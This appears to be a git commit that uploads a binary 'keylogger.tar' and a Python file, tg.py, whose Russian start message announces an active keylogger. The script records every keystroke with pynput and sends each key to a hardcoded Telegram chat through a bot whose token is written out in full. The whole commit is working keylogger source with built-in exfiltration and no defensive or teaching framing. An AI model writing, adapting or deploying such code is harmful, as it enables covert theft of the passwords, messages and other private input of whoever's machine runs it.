Загрузить файлы в «/»

This commit is contained in:
2026-03-30 14:15:29 +00:00
parent 6ed60d16ef
commit 6c269e51c0
2 changed files with 22 additions and 0 deletions

BIN
keylogger.tar Normal file

Binary file not shown.

22
tg.py Normal file
View File

@@ -0,0 +1,22 @@
import telebot
from pynput import keyboard
bot = telebot.TeleBot("6774855529:AAH0TZidpu-7Hql83dO71_1OLGLEPlPlBQ8")
@bot.message_handler(commands=['start'])
def start_message(message):
bot.send_message(message.chat.id, "Кейлогер активирован. Логи будут отправлены вам в телеграмм.")
def on_press(key):
try:
bot.send_message("7033336826", str(key))
except Exception as e:
print(e)
def on_release(key):
if key == keyboard.Key.esc:
return False
with keyboard.Listener(on_press=on_press, on_release=on_release) as listener:
bot.polling()
listener.join()